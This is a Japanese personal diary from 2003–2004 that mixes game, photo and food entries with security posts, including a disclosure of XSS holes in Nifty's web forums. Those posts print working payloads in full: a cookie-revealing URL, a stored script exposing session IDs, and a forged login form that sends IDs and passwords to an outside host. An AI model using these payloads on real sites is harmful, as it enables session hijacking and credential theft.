困るのはガンシューティングのスコアが継承されていることで、しかも腹立たしいことに、 1周目の自分のハイスコアが 2周目のベクレムのスコアにされてしまっています。つまり 1周目のハイスコアを超えないとミッションクリアできません。さらにガンシューティングのレベルも継承されているため、レベルアップ時に貰えるはずのご褒美が貰えなかったりします。「アダマンタイト」はけっこう重要なのですが、複数入手は出来ない模様……。
逆に、継承されそうでされていないのが以下のようなもの。
「強くて」ニューゲームと言いつつ、レベルは 1 に戻ります。まあ、強いアクセサリが継承されているので、装備を調えるといきなり強くなりますが……。
つらいのは、スフィアブレイクのコイン。せっかく集めたレアコインや価値を上げたコインが全部無くなってしまいます。がっかり。
関連する話題: メモ / ゲーム / スクウェア / ファイナルファンタジー / ファイナルファンタジーX-2
更新: 2004年4月5日
各所でかなり洒落にならない「戦果」を挙げている Antinny.G ですが、Antinny.K (www.symantec.co.jp) という亜種が出たようですね。
システムの日付が 4 月以降で、かつ、月と日の数値が同一の場合、http:/ /www.accsjp.or.jp にアクセスし、個人情報を送信しようとします。
以上、W32.Antinny.K より
うわお。意図は何となく分かるのですが、送られたものはいったいどのように扱われるのでしょうね。
ひょっとすると、また Aレコード消滅の方向なのかも……。
※2004-04-05 追記: 予想通り Aレコード消滅しましたね……。
関連する話題: セキュリティ / コンピュータウィルス / ACCS
更新: 2004年1月28日
標準でない キーボードドライバを利用していると WindowsNT/2000 が青画面になって終了してしまうことがあります。
以上、窓使いの憂鬱 - MANUAL より
それはたとえばこんな感じですね。
![[写真 : mayud.sys のエラーでブルースクリーン出ちゃってます。]](../img/yu-utsu)
WindowsNT/2000 だけでなく、Windows XP でも行けるみたいです。しくしく。
そのような場合は、標準でないドライバをアンインストールするか、「窓使いの憂鬱」の利用をあきらめるしかありません。
以上、窓使いの憂鬱 - MANUAL より
む、無念なり。
※2004-01-28 追記 : 単にバージョン 3.28 は Windows XP に対応していないのだそうで。3.29 にしたら問題ありませんでした。
関連する話題: 出来事
更新: 2004年1月7日
たん
「甘栗太郎」の看板が点滅している図。
……CI 的に看板がこの状態なのはどうよ、という話ですが、動画じゃないと点滅ぶりが分かりにくいのが難点。
たん
……思いっきり白トビして失敗。発光物体を撮るのも難しいです。手動で露出を調整しないと駄目かもしれません。
謎のベルギービール。
……味も謎。
上タン塩と付属のレモン、を撮ったら……
どうも他と色味が違う写真が。テーブルの色を前の写真と比較すると、全然違います。配置の関係で中央に白いおしぼりが入ってしまったため、それが白く見えるようにホワイトバランスが自動調整されたのでしょう。
店の雰囲気などをそのまま撮りたい場合は、ホワイトバランスを自動調整しないほうが吉かもしれません。
ともあれ焼きます。
盛り合わせ登場。7000円ぶんのお肉が乗っています。
デフラグしながらガンガン焼きます。周囲は混沌の小宇宙。
このあとえむけいさんと山羊丸さんが合流するのですが、そのころにはもう跡形もなく……。
山羊丸さんの Optio S。私の Optio S4 と形状はほぼ同じ。
左上の被写体ブレは、えむけいさんがおしぼりをつかむ決定的瞬間?
追加のカルビのたれとネギ塩が登場。
左上の上タン塩は、えむけいさんが追加した二皿目。
そして山羊丸さん曰く、「禁断の」野菜。何で禁断かというと、たいてい焼くのに失敗するからだそうな。
※2004-01-07 追記: 禁断発言は山羊丸さんではなくフィンローダさんだったのではないかという説が。ちょっと覚えてません。
……っていうか誰かの手がナイスタイミングで……。
山羊丸さんの頼んだ麦飯。
ちなみにこれは意図的にホワイトバランス調整しました。でないと麦の感じがわかりにくかったので。
私が頼んだ冷麺。
……一応撮れているのですが、実は微妙にピンぼけしていて、背後の肉にピントが合ってしまっているという失敗作。変なところでシャッター半押ししてしまった模様。
「しょうゆ」と書かれたビンに入った、どう見ても醤油とは思えない液体。
……酢でした。
フィンローダさんの雑炊。
「ぞうすい」ではなく「ざつたき」なのではないかという話。
というわけでたん清を満喫。
その後ジョナサンに移動するも、禁煙席が空かずに待たされることに。
タバコ自販機の、エントリがあるのに対応するボタンがないというインターフェイス。
40分ほど待っているうちにむらまささんと合流。しかし席は空かず……。
もののけ一行は別のジョナサンへ。何故かジョナサンにこだわる一行。
ココログを更新するフィンローダさん。
いちおうモザイク処理でプライヴァシーに配慮してみました。
りゅうさんにより発掘された、去年のもち米シューマイレシート。
更新: 2003年12月18日
引き続き、デジタルカメラの練習。
夜景モードのテスト。
……心霊現象発生。
フィルムカメラ (銀塩カメラ) の場合、夜景を撮る際は僅かな光で感光させるためにシャッタースピードを遅くしているわけで、ぶれが致命的な結果になるのは分かります。デジタルカメラでも同じなんでしょうか？
※追記: やっぱりデジタルカメラでも同じで、三脚などでカメラをしっかり固定する必要があるそうです。義珍さん、みなづきさん、アドバイスありがとうございます。
※2003-12-18 追記: よく見たら取説にも「暗いシーンでの撮影ではシャッター速度が遅くなりますので、手ぶれしないよう、カメラを三脚等に固定して撮影してください」と書いてありました……。
ゲーム画面を撮ってみたり。
ティアリングサーガ (www.amazon.co.jp)
更新: 2003年12月16日
とても久しぶりにモスバーガーに行き、せっかくなので限定品の匠味チーズ (www.mos.co.jp)を食べてみました。
さすがに味は良いのですが、食べにくいのが難点。これはモスバーガーのハンバーガー全般に言えるのですが、ジューシーな分だけ食べにくくもあるわけで……。包みから出さずに食べれば良いと人は言うのですが、これがなかなか難しいです。もう少し小さいと良いと思うのですが。
※実際、むらまささんがソースを垂らして大ダメージ。
※ジューシーでなくして欲しいわけではありませんので、念のため。
なお、匠味を買うともれなく製造責任者直筆のカードがもらえます。せっかくなので写真。プライヴァシーを考慮して、署名部分はいちおうモザイク処理しました。
深い含蓄があるような無いようなお言葉が入っていますが、これは一枚一枚異なっています。
更新: 2003年12月12日
IBM ホームページ・リーダー (www.amazon.co.jp)
モードを変えて改めて読み上げると、イメージマップ内の各 area をそれぞれ a要素と同じようにして読み上げて行きます。
ここまでは問題ありません。しかし、area に nohref 属性が指定され、かつ alt 属性に空でない値が指定されていると問題が起きます。そのような area は他の area と全く同じように読み上げられるのですが、リンクをたどろうとしたところで初めて「リンクがありません」と言われてしまうのです。
これは混乱を招くので、nohref には気をつけた方が良いかも知れません。nohref には常に alt="" を指定するようにすればある程度避けられますが、その場合でも「n個のマップの先頭」と読み上げられる n の数と実際のリンクの個数が食い違うという問題が起きます。
※また、既知だと思いますが一応書いておくと、「altのないイメージを通知する」が有効でない場合、alt="" の指定されている area は全く利用できなくなります。
※2003-12-12 追記 : alt="" が指定されているのではなく、alt 属性自体がない場合は URL が読まれるようです。ロックマンさんご指摘ありがとうございます。
関連する話題: Web / アクセシビリティ / UA / ホームページ・リーダー
更新: 2003年12月4日
で、墓場に書いた話ですが、どうしてこんなあたりまえの事を？ というのが私の感想です。全ての戦争は「正義」であると断言しても良いと思います。何故って、「悪」のための戦争なんてのは国際的にはもとより、国内でも誰にも支持されないからです。たとえ専制政治が行われていたとしても、支持者が一人もいない状態で戦争が行われることは絶対にありません。あえて断言しますが、全ての戦争は「正義」のために行われます。例外はありません。
※ちなみに、これは国家を挙げて行われる「戦争」の話であって、個人レベルの「テロ」はまた別。国際テロ組織のような規模になると、国家と同じことが言えたりしますが。
第二次大戦のナチス・ドイツの思想などは狂気のように思われているかもしれませんが、私はそうは思いません。ヒトラーの目指した、優れたアーリア人国家建設のための優性思想は、(共感できるかどうかはともかく)理性的に理解可能なものです。実際、それを理解し共感する人がいなかったのなら、国を挙げてユダヤ人狩りを行うことなど出来はしなかったでしょう。
日本の場合も同様です。15年戦争は、当初の開戦のいきさつはともかくとして、少なくとも表向きはアジア解放、八紘一宇の理想社会を目指した崇高なものとされていたのでした。国民や兵士たちは、この崇高な目的に向かって行ったのです。自分たちの行為を「開放」ではなく侵略や虐殺だと思っていた兵士は、いたかもしれませんが多くはなかったでしょう。※って、いたとしても、言えなかったけど。
ついでに言うと、原爆投下は、その悲惨な戦争を終わらせるためのもので、これまた「正義」に基づいた行動でした。
……で、その結果どうなったかというと、これはまあ言うまでもないわけで。
「歴史を学ぶのは、過去の事実について、過去の人がどう考えていたかを学ぶことなのである
」というのは例の扶桑社の教科書の前書きの一説ですが、このように考えてみると、この前書きの持つ意味が良く分かると思います。
※2003-12-04 追記 : はっきり書いてしまうと、「過去の人がどう考えていたか」という観点に立てば「当時の人はこのように戦争を支持した」ということがいくらでも出てくるわけで、いくらでも戦争を美化できるということです。むしろ後世から見て「間違いだった」と思えるようなことを繰り返さないために歴史を学ぶ必要があるのだと、私は思っています。
更新: 2003年12月2日
結局、何をやってもエンカルタと Bookshelf は再起不能。復元でだいぶ前の時点まで戻してみてもダメ、チェックディスクも実行してみましたが異常なし。八方ふさがりです。
状況としては、
これらをインストールしたり再インストールしたりしましたが、何をしても上記の症状が再現。ちなみに他のソフトウェアには異常ありません。いったい何が起きているのでしょうか。マジで謎です。
※2003-12-02 こっちにも追記 : 実はこの現象は IE のキャッシュ破損が原因です。IE のキャッシュをクリアすれば直りますが、当時はそんなことは知らなかったので頑張って何度も再インストールしました。エンカルタや Bookshelf を再インストールしても IE のキャッシュは修復されないので、この現象からは回復しません。
更新: 2003年11月20日
情報流出を指摘した男性は、延べ約1200人分の個人情報を提示し、セキュリティー上の問題点を指摘してきたという。同協会では、提示された情報を内部情報と確認した。流出した情報は、投稿者が書き込んだ情報そのままの状態で、ハンドルネームの場合もあったという。
以上、Mainichi INTERACTIVE ネットワークの延べ約1200人分の個人情報流出 ACCS より
なるほど、獲得した個人情報の実物を提示してやれば「実害なし」なんて言われないですね。
ACCS の方にはお詫びが出ていて、
11月9日に、ある個人の方から、「ASK ACCSのホームページ上から個人情報を入手できる」との指摘のメールをいただき、ACCSで確認したところ、この方がメールに添付していた個人情報が、ACCSの保有している情報と同一であると判明したことが発端です。この事実を確認した時点でACCSでは、問題のあった「ASK ACCS」のCGI機能を停止するなど、技術面での緊急措置を実施したほか、そのメールをいただいた方と連絡を取りながら、更に詳しい事実の調査を進めています。
以上、ASK ACCS TOP より
……と、「メールをいただいた方」と積極的に協力している感じの物言いなのですが、肝心の「メールをいただいた方」の方では
ACCSを名乗る怪しいメールが（複数種）来ます
差出人不祥（発信元ドメインが関係者とは思えない）のメールが来て
「電話を*****までよこせ」
とか
「個人情報データを削除しろ」
とか要求してきます。いったいこの人達は何なんでしょうか？
とてもコワイです。
以上、officeさんのTea Room for Conference in academic office より
……という受け止め方をされているようで、なかなか面白いです。
※いや面白がってる場合じゃないか。
※2003-11-20 追記 : office さんのところに 【ファーストサーバが配布した、不適切な情報公開をしてしまうcgi問題について】 (www.office.ac)というのが出ています。ACCS からのメールについては誤解だったそうで。
関連する話題: セキュリティ / ACCS / ASK ACCS 個人情報漏洩事件 / 情報漏洩
更新: 2003年10月31日
Pockey-GetHTML ってのはダウンロードツールなのでしょうか。サーバが異様に重いと思ったら、これがものすごい勢いでいらっしゃっているようで。いちおうアクセスの間隔は 6秒くらい置いてくれているようなのですが、それでも厳しいです。勘弁してください。
※というか、hatomaru.dll 側のアルゴリズムを見直す必要に迫られているのかなぁ。
※2003-10-31 追記: GetHTMLW (hp.vector.co.jp) というソフトが出力する User-Agent のようです。y-Aki さん情報ありがとうございます。
更新: 2003年8月25日
officeさんのところ (www.office.ac)を見ていたら、Naver のロボットが "GoogleBot" を詐称するようになったとかいう話題が。
ネタ元のただのにっき(2003-08-20) (sho.tdiary.net)を見ると、こんな感じのリクエストなのだそうで。
220.73.165.139 (中略) "GET /robots.txt HTTP/1.0" 200 548 "-" "GoogleBot"
以上、ただただしさんのただのにっき(2003-08-20) より
"dloader" を名乗ると蹴られちゃうサーバが増えてきたから、なのかしら。だとすると何かが根本的に間違っているような気がしますが……。
※2003-08-25 追記 : どうも GoogleBot を名乗るのは /robots.txt を取りに来るときだけで、通常のリクエストはやはり dloader のようです。そうなるとロボット除けを回避する意図でもなさそうなのですが、ではどうして GooglBot などと名乗るのかは不明。
とりあえず本物の Googlebot は "Googlebot/2.1" という具合に名乗っているので、
という点で区別できそうではあります。
更新: 2003年8月25日
えー、この日記の作者は「水無月ばけら」です。「えび」じゃないのです。
「えび日記さん」と呼んでくださる方がいらっしゃいますが、「中禅寺」という姓の人を「京極堂」と呼んだりするのが間違いでないとするなら、別に間違ってはいないのかもしれません。昔は「鳩丸さん」というのもありましたし……。
※2003-08-25 追記 : ごめんなさい、京極堂さんは「中善寺」じゃなくて「中禅寺」さんでした。謹んで訂正させて頂きます。名前を間違ってるという話題で自分が間違ってどうする。 > わたし
ちなみに、「何でえびなの？」というのは FAQ です。昔は「読めばきっと分かります」と回答していたのですが、それで分かったという人はむらまささんくらいしかいないようで。
※恐ろしく端折って説明すると「水無月英水子」→「えみこちゃん」→「えみちゃん」→「えびちゃん」という出世魚ぶりが発揮された結果なのですが、現在では枝分かれ進化した愛称が使用されているので、少女時代を知らない人には謎となっています。……って、この説明で分かる人も少ないような気がしますが。
関連する話題: えび日記
更新: 2003年8月25日
MS03-032 のパッチを適用したら、さりげなく「セキュリティの設定」の内容も変わっていますね。
※2003-08-25 追記 : えむけいさんによると MS03-032 よりずっと前からあったそうで、単に私が今まで気づいていなかっただけかも知れません。
「Authenticode で署名したコンポーネントを実行する」「Authenticode で署名しないコンポーネントを実行する」はデフォルトで両方とも有効なのですが、署名しないものの実行が「有効」で良いのかしら。
※まあ、これは「設定できるようになった」という話で、昔は両方とも強制的に「有効」になっていたので、その設定を引き継いでデフォルト「有効」なのでしょう。
いずれも .NET Configuration 側のセキュリティポリシーが適用されるから問題ないという話なのかもしれませんが、とりあえず両方とも「ダイアログを表示する」にしてみました。
関連する話題: UA / Internet Explorer / セキュリティ
更新: 2003年8月20日
MS Blasterワームにはもう亜種が出ているようですね。トレンドマイクロの WORM_MSBLAST.D 詳細 (www.trendmicro.co.jp)を見ると、
という動作をするようです。どうも、Code Red に対する Code Green のような性質のものみたいですね。作者は善意のつもりなのかも知れませんが、いずれにしても迷惑な気が……。
※追記 : どうもこれは MS Blaster の亜種ではないようです。ポートスキャンのロジックも MS Blaster とは異なりますし、感染のロジックも例の Exploit コードを元に生成したものであって、Blaster を改変したものではないようですね。このワームは Nachi とか Welchia とか呼ばれています。
※2003-08-20 追記 : このワームでは日本語版のパッチは当たらないそうです。日本語環境では迷惑なだけですね……。
関連する話題: セキュリティ / コンピュータウィルス / Welchia
更新: 2003年8月4日
ポポローグ (www.amazon.co.jp)
モンスター図鑑にはお宝の欄があって、最大で 2つのアイテムが載ります。欄が 2つ埋まっていて、さらに異なるアイテムが出るのであれば「欄が足りなかったので出ていない」のだと解釈できますが、イビルフェイスのお宝は「ぎんのうでわ」しか出ていないのですよね……。
※追記: これはおそらくバグです。ポポローグのバグ その2を参照。
逆に、「お宝の欄が 1つしか埋まっていないモンスターは、もう一つレアアイテムを持っている」ということになっているのかしら……？ ともあれ、モンスター図鑑に出ていないお宝があり得るということを学習しました。
更新: 2003年7月30日
PDF ファイルをブラウザ内で開くわずらわしさを回避しつつダウンロードする手順も掲載しておくといいだろう。残念ながら、現状のテクノロジーでは、これは一般ユーザには難しい操作だ。ファイルを表示しないでダウンロードする特殊なリンクが作れるようになるといいのだが。
PDF の Content-Type: が application/octet-stream になるようにしておけば、勝手にダウンロードになったりしないでしょうか。そんなに難しい対処ではないと思いますが。
それとも、例によって IE が Content-Type を無視して自動判別の結果を優先したりするのでしょうか。PDF まで自動判別するのかしら？ 手元に適切な PDF のリソースがないので試せないですが……。
※追記 : yuuさんからテスト用の PDF ドキュメントを頂きました。ありがとうございます。そんなわけで、application/octet-stream な PDF へのリンク。試してみましたが、やっぱり MSIE6 は Content-Type を無視して PDF として表示しようとするみたいですね。とほほほ……。Content-Type 無視はセキュリティ上の問題にもなりますから、本当に何とかしてもらいたいものですが。
※2003-07-30 追記 : Content-disposition: attachment を付けるとダウンロードになるのではないかというご指摘を頂きました (えむけいさん、yuuさんありかとうございます)。そんなわけで、application/octet-stream かつ Content-disposition: attachment な PDF へのリンク。……おお、確かにダウンロードになりますね！ これで Jakob さんも安心。
更新: 2003年7月7日
Windows から再インストールするしかないのでしょうか。
※2003-07-07 追記 : 実はこの現象は IE のキャッシュ破損が原因です。IE のキャッシュをクリアすれば直りますが、当時はそんなことは知らなかったので頑張って何度も再インストールしました。エンカルタや Bookshelf を再インストールしても IE のキャッシュは修復されないので、この現象からは回復しません。
更新: 2003年7月4日
nifty.com 以下のドメインには「パレット」というサービスがあります。この名前からサービスの内容を想像するのはかなり困難ですが、要するに「絵が描ける掲示板」というようなコンセプトだったようです。つまりは HTML タグが使用できる掲示板です。
私は把握していなかったのですが、かつてはこれにも自由にいろいろ書けてしまったようで、6月30日に、パレットのタグ利用を制限した旨のアナウンスが出ています。
パレットでのタグの利用について
パレットでのタグの制限につきましてご案内が遅れましたこと、お詫び申し上げます。今回パレットを安全にご利用いただけるよう対応をおこない、一部のHTMLタグの記述を制限させていただきました。
この制限はブラウザでの発言の表示となります。ニュースリーダーでのアクセスでは、オリジナルのデータを取得することとなります。
詳細は「パレットの基本仕様」または「よく使うＨＴＭＬタグ」をご参照ください。
引き続き、みなさまに安心してご利用頂けるよう努力いたしますので、今後ともどうぞよろしくお願いいたします。
以上、https://com.nifty.com/forum/ より
というわけで、サニタイズが強化されたようです。
ところがどっこい、このサニタイズを貫通する書き方があって、なんと script要素を含む発言ができてしまうことが判明。
※具体的な方法は伏せておきます。ヒントとしては、サニタイズのルーチンが賢いのが逆に敗因になった感じ。特殊な制御文字なども不要ですし、やり方さえ分かれば誰でも気軽に書き込めます。
……どこかで高木さんも書いていたような気がしますが、「特定のタグだけのサニタイズ」って本当に難しいものですね。
なお、パレットの認証は Basic 認証で、Cookie は関係ありません。パレットだけを使用している分には、セッション Cookie の漏洩はありません。また、ここに書けるのは会員だけです。
ただし、会員がコミュニティなどにログインし、そのままパレットを閲覧すると危険な場合があります (これは Cookie ドメイン問題の影響)。また、普通に書いても img要素で外部の画像を参照することはできるので、Web バグを使用したり、ひそかに hpcgi1.nifty.com の画像を参照して Cookie を取得したりすることは可能です。
……などということをのんきに考えていましたが、実はそれだけではなく、Microsoft.XMLHTTP で Basic 認証の ID とパスワードをこっそり盗めるので、きわめて危険です。実際に Base64 エンコードされた ID:パスワードの組が画面に表示されることを確認、デコードしたら簡単に ID とパスワードが取り出せました。分かると思いますが、この値を密かに他のサーバに送出することも可能です。本気で洒落になりません……。
※Microsoft.XMLHTTP でパスワードが盗めるという情報はえむけいさんから頂きました。情報感謝です。これについての詳細は、高木さんによる「[memo:5237] XSS脆弱性によりBasic認証のパスワード情報が漏えいする (memo.st.ryukoku.ac.jp)」を参照してください。
※また、Mozilla などでも XMLHttpRequest を使用すれば全く同様にパスワードが盗めるようです。Flash や Java Applet でも OK なようで、スクリプト無効でも駄目っぽいです。この辺まとめてえむけいさん情報。
さらに恐ろしいことに、パレットには任意のファイルを添付ファイルとして指定できる機能があります。この添付ファイルは同じドメインのサーバ内に格納されます。そして発言には object要素を書くこともできてしまうので、ユーザのセキュリティ設定によっては任意の ActiveX コントロールを実行することさえできます。
※実際にこの方法で Flash を実行できることを確認しました。
これはスクリプト無効でも駄目なので、パレットには近寄らないのが無難でしょう。
2003-07-04 追記 : 「私は把握していなかった」と書きましたが、パレットに何でも書けてしまうということは公開当初から知られていたようです。「パレット裏マニュアル (forum.nifty.com)」に、パレットの発言をフレームにして他のリソースを丸ごと取り込む方法が紹介されています。今回の修正が行われる前は、文字通りの意味で何でも書けたようですね。
※FPROG 会員なのに気づいてなかった私って……。
更新: 2003年7月4日
こんなんでました。
いつもフォーラムをご利用いただきましてありがとうございます。
本日（7/3） のメンテナンスにおいて、まずは、掲示板（セミオープン／会員限定）へ新規に発言やコメントの登録をする際、一部のHTMLタグの記述を制限する対策を行いました。制限をしているタグなど詳しくはこちらをご覧ください。
また、この後、引き続き、これまでに登録された発言やコメントについての対策を行う予定です。そのため、全ての作業が終わるまでの間、新規発言やコメントで、タグが利用されていた場合には、そのまま表示されることとなりますのでご留意ください。
なお、機能再開の時期につきましては、現在、 7月末の見込みですが、具体的な日時が判明次第、ご案内申しあげます。
ご迷惑をおかけし、申し訳ございませんが、何卒ご理解賜りますようお願いいたします。
以上、https://com.nifty.com/forum/ より
サニタイズを強化したけれども、既存の発言はそのままなので注意ということらしいです。もちろん、既存の発言の中に罠が含まれていないかは精査しているのでしょうね。
※と、信じたいですけれど。
では早速サニタイズぶりを検証……と思ったら、掲示板の方はまだメンテナンス中のようで残念な思いをいたしました。アナウンスを更新したタイミングで何かが発生したのかしら。
18:45 頃に確認したら掲示板は復旧していました。でも何の属性もついていない b要素すら書けませんね。アナウンスの日本語がイマイチ意味不明なのですが、7月末までは一切のタグが書けないということなのかも知れません。※だとすると、今日行われたのが何だったのか良く分からないのですが……。
2003-07-04 追記 : 「Web 快適活用フォーラム」に分かりやすいアナウンスが出ていました。
上記の内容では、使用できるタグが制限されるものの、もう使えるようにも読めますが、実際には、まだ全面禁止のままです。
それだけではなく、タグとしての動作が禁止されているにもかかわらず、上記の制限がされるという、大変、困惑する状態となってしまいました。
例えば、制限されるタグである「＜ｈｔｍｌ＞」を半角で記述すると、今までは無効なタグでしたので、そのまま、表示されていましたが、現在は削除されてなくなってしまいます。
従って、スタイルシート指定どころか、html文書の記述も、ほぼ不可能となってしまっています。
この処置は、７月末までの暫定的なものとのことですが、８月以降もタグ有効な掲示板においては、制限されたタグの記述は削除される模様です。
以上、http://bbs1.nifty.com/mes/cf_wrent/FWEBKK_B001 より
ということだそうで、いろいろな意味で頭が痛いですね。
更新: 2003年6月27日
ニフティの Web フォーラム (com.nifty.com)において、私が見てきた中で最大のクロスサイトスクリプティング脆弱性を発見してしまいました (ただし、一部は私が発見したのではなくりゅうさんによる情報です)。
※以下は 20日削除、27日再公開部分。いずれも現在は修正されていますので、解説のような現象は起きません。
せっかくなので詳細に説明します。まず検索フォームについてですが、以下のような URL をリクエストするとクロスサイトスクリプティング脆弱性によって Cookie の値が表示されます。
https://com.nifty.com/forum/circle/search.go?free=<script>document.write(document.cookie)</script>&SearchCircleStatus=CircleSearchServlet4
これはログインフォームと同じドメイン・スキームです。パスは違いますが、ログインフォームで発行される Cookie は path=/ と指定されているので問題ありません。
次に書き込みですが、Web フォーラムには <TAG OK!> とされている掲示板があります。そのような会議室では任意のスクリプトを含む投稿が可能です。たとえば以下のような文字列を投稿します。
<b style="display: block; position: relative; width: 100%; height; 5em; font-size: 200%;" onmouseover="var id = 'あなたのセッション ID は「' + document.cookie + '」です。<br>もし、セッション ID の値が表示されていたら危険です。この値を知られるとセッションハイジャックが行われる可能性があります。このスクリプトは外部にセッション ID を送出することはしていませんが、悪意あるユーザはセッション ID を外部に送出し、それを使ってセッションハイジャックを行おうとするかも知れません。<br>画像も表示できることですし、セッション ID を外部に送出するのは簡単です。<br><br>合掌。<img src="http://www.nifty.com/policy/images/nifty_w-S32.gif">'; foo = window.open(); foo.document.writeln(id);">Click Me!!</b>
このデモは、マウスが近くに来ると警告のウィンドウが開きます。実際の攻撃では警告ウィンドウなど表示せず、ひっそりと外部にセッション ID を送ることになるでしょう。上記のデモはわざと凝った作りにしていますが、img要素が使用できるので、攻撃はもっとずっと容易です。
※なお、実際に上記のデモを Web 快適活用フォーラムのお試しB (bbs1.nifty.com) に投稿して動作を確認しています。現在では該当発言は (おそらくは管理者によってひっそりと) 削除されています。
※2003-06-21 追記: ひっそりと、などと書いていましたが、その後管理者の Ｔｉｇｅｒさんから正式にご連絡いただきました。Ｔｉｇｅｒさんにはその後も大変お世話になりました。本当にありがとうございました。
さて次ですが、ログインフォーム捏造というのは、たとえばこんな URL をリクエストします。action の値を変えれば好きなところにパスワードを送らせることができます。
https://com.nifty.com/forum/login.go?RETURL=&wr_url="></form><form action="http://altba.com">ID:<input name="id"><br>パスワード:<input name="pass"><br><input type="submit" value="ログイン"></form><table style="display:none;
※最初の form要素終了タグは本物のフォームを無効化するために、最後の table要素開始タグは本物のフォームコントロールを隠蔽するために使用しています。引用符が閉じていないように見えるのは、この値が本来は属性値の中に出力されるためです。なお、このデモはフォームコントロールの配置にこだわっていませんが、style属性に任意の値が指定できますので、本物そっくりの配置にすることも可能です。
このような URL をリクエストするリンクを作り、うまい文言でユーザを誘導します。ユーザが捏造に気づかずにログインを試みてくれれば成功で、攻撃者の望んだところに ID とパスワードが送られます。これは @nifty の ID とパスワードそのものを盗むことができるので、セッションハイジャックよりもずっと危険です。
最後 4番目ですが、問題のログインフォームには、引数として「ログイン後の遷移先 URL」を渡すことができます。これがこともあろうに、ログイン後画面の location.href= として実装されているため、script要素の中に任意のスクリプトを書くことができます。たとえば
https://com.nifty.com/forum/login.go?RETURL=";alert(document.cookie);var%20foo="
などをリクエストします。ログインフォームの中では URL エンコードされているので無害になりますが、ログインに成功したあとでスクリプトが実行されます。
※お尻の var foo=" はスクリプトエラーにならないようにするためのダミーです。なお、少なくとも IE6 SP1 の場合は、location.href="foo"; alert("bar"); と書いてある場合、alert が実行されてから遷移するようです。つまり location.href の後ろに悪意あるスクリプトを書いても OK ということです。
※ここまで 20日削除、27日再公開部分。
おそらくは他にもあるでしょうが、私が気づいたのはこれだけです。しかし、いずれもユーザが気づかないうちにセッションハイジャックが行われたり、生のパスワードが漏洩する可能性がある危険なものです。これらの攻撃のほとんどはスクリプトを無効にすることで防ぐことができます (3番目のフォーム捏造を除く)。しかしながら、Web フォーラムではスクリプトを有効にすることが推奨されている (実際、有効にしないとメニューの一部が機能しない) ので、Web フォーラムにログインするユーザのほとんどはスクリプトを有効にしていることでしょう。
これだけあると報告するだけでも一苦労ですが、危険が大きすぎるので頑張って報告したいところです……が、諸事情により、私はニフティのフォーラム部とはもう関わり合いたくないと思っていたりするので、報告する気が起きないのでした。そんなわけで、むしろ危険性をより多くの人に知ってもらう方向で動くことにします。
善意と暇のある方は、ニフティに報告してあげてください。
そうでない方がとりあえず対処したい場合、方法は二つほど考えられます。
好きな方を選んでください。ただし、フォーム捏造については処置無しです。
※2003-06-20 追記 : 善意ある方が現れましたので、内容の一部を伏せました。
※2003-06-27 追記 : クロスサイトスクリプティング脆弱性は修正されましたので、伏せた内容を再公開しました。修正済みですので、現在は上記の攻撃はいずれも成立しません。もっとも、別のセキュリティホールは残っていますが……。
更新: 2003年6月27日
各所で話題になっているようですが、それなりに勘違いされている人もいるようなので、 Q&A を少し。何のことか分からない方は日経 BP の「ITPro ニュース:@niftyの電子掲示板に「クロスサイト・スクリプティングぜい弱性」，緊急メンテナンスを実施 (itpro.nikkeibp.co.jp)」を読んだ上で、話題「ニフティ」を含むえび日記を一通り読んでみてください。
NO。マネジャーなどから「ログインした人だけにしか悪用できないので、悪用されても発覚する」という説明がなされていることもあるようですが、それは違います。そもそも、内部の書き込みによる XSS は多数ある問題のうちのひとつに過ぎません。また、掲示板によってはログインしないで書き込みできるものも存在していました。日経 BP の記事にもそのような誤解を招く書き方がありますが、ニフティ会員にしか悪用できない性質のものではないのです。
特に今回のケースでは、問題が一点だけではないことに注意してください。
当初公開されたのは以下の 4点です。
セッション Cookie が漏洩すると、成りすましログインができてしまいます。誰かに成りすまして投稿したり、プロフィールを閲覧、修正したりすることができます。ID・パスワードが漏洩するとどうなるのかは、まあ説明するまでもないでしょう。
さらに、以下の問題が公になっています。これはニフティも把握していますが、対応予定は未定です。
また、別の様々な場所にクロスサイトスクリプティング脆弱性が存在することが報告されています。これは私が個人的につかんでいる情報で、まだ公にはなっていません。exploit コードが実際に動作することは確認しています。
※2003-06-26 追記: 私が把握したものについては全て報告済みですので、修正されることが期待されます。情報を提供してくださった方に感謝いたします。
※2003-06-27 追記: 25日に追加で報告した 3ヶ所のクロスサイトスクリプティング脆弱性は、27日のメンテナンスで修正されました。予想以上に素早い対応で、これは高く評価したいと思います。ただし、Cookie ドメインの問題はまだ残っていますので注意が必要です。
単に「似たようなフォームを持つページを別途作る」という話だと誤解していませんか？
クロスサイトスクリプティング脆弱性によるフォーム捏造の場合、本物と同じ URL を持ち、本物と同じ SSL の保護が付き、本物と同じサーバ証明書がついたフォームが作れます。もちろん見た目にも全く本物と同じにできます。怪しいパラメータがつくことがありますが、本物のフォームにも長いパラメータがつきますので判別は困難ですし、パラメータを隠蔽したければ POST メソッドを使って渡してやっても問題なく動作することを確認しています。正直、私はこれにだまされない自信はありません。
具体例が想像できない方は、フォームの送り先だけがひそかに改竄されている、というイメージで捉えると良いと思います。本物と全く同じところに入力して、しかしながら送り先が攻撃者のサーバというわけです。もちろん攻撃者のサーバは、ID とパスワードを記録したらちゃんと正しい場所へリダイレクトしてくれるでしょうから、ログインは成功します (失敗したってパスワード間違えたか、くらいにしか思わないでしょうが)。
※2003-06-27 追記: ログインフォームに存在していたクロスサイトスクリプティング脆弱性は、27日のメンテナンスで修正されました。私が知る限りの範囲では、この脆弱性が利用される余地はなくなりました。……あくまで、私の知る限りの範囲に限った話ですが。
ええと、クロスサイトスクリプティング脆弱性の問題を理解していますか？ これはそもそも侵入するとかしないとかいう問題ではありません。答えとしては YES になりますが、だからといって問題ないというわけではありません。そもそも私はサーバに侵入なんて試みてさえいませんので、そこのところ一つ。
私はいちおう exploit コードを実際にテストして動作確認しています。私もニフティの会員ですので、自分自身のセッション Cookie や ID、パスワードが盗めるかどうかテストしました。結果、盗めました。私はこれで十分だと思うのですが……実際に他人のを盗んでしまったら犯罪になりますんで、勘弁してください。
※……なんか、手元のログに私のテストじゃないのも残ってたりするんですが、これはテストだと信じたいなぁ。
残念ながら NO です。これで対処できるのなら私などは安心なのですが……。
ただし、攻撃手法によってはスクリプト無効で防ぐことができる場合もありますので、効果が全くないわけではありません。
ニフティはそう主張しているようですが、何とも言えません。少なくともニフティには exploit の形跡が残っており、しかしながらその追跡調査は行われていません。つまり、被害が発生したかどうかについての調査は行われていないのです。
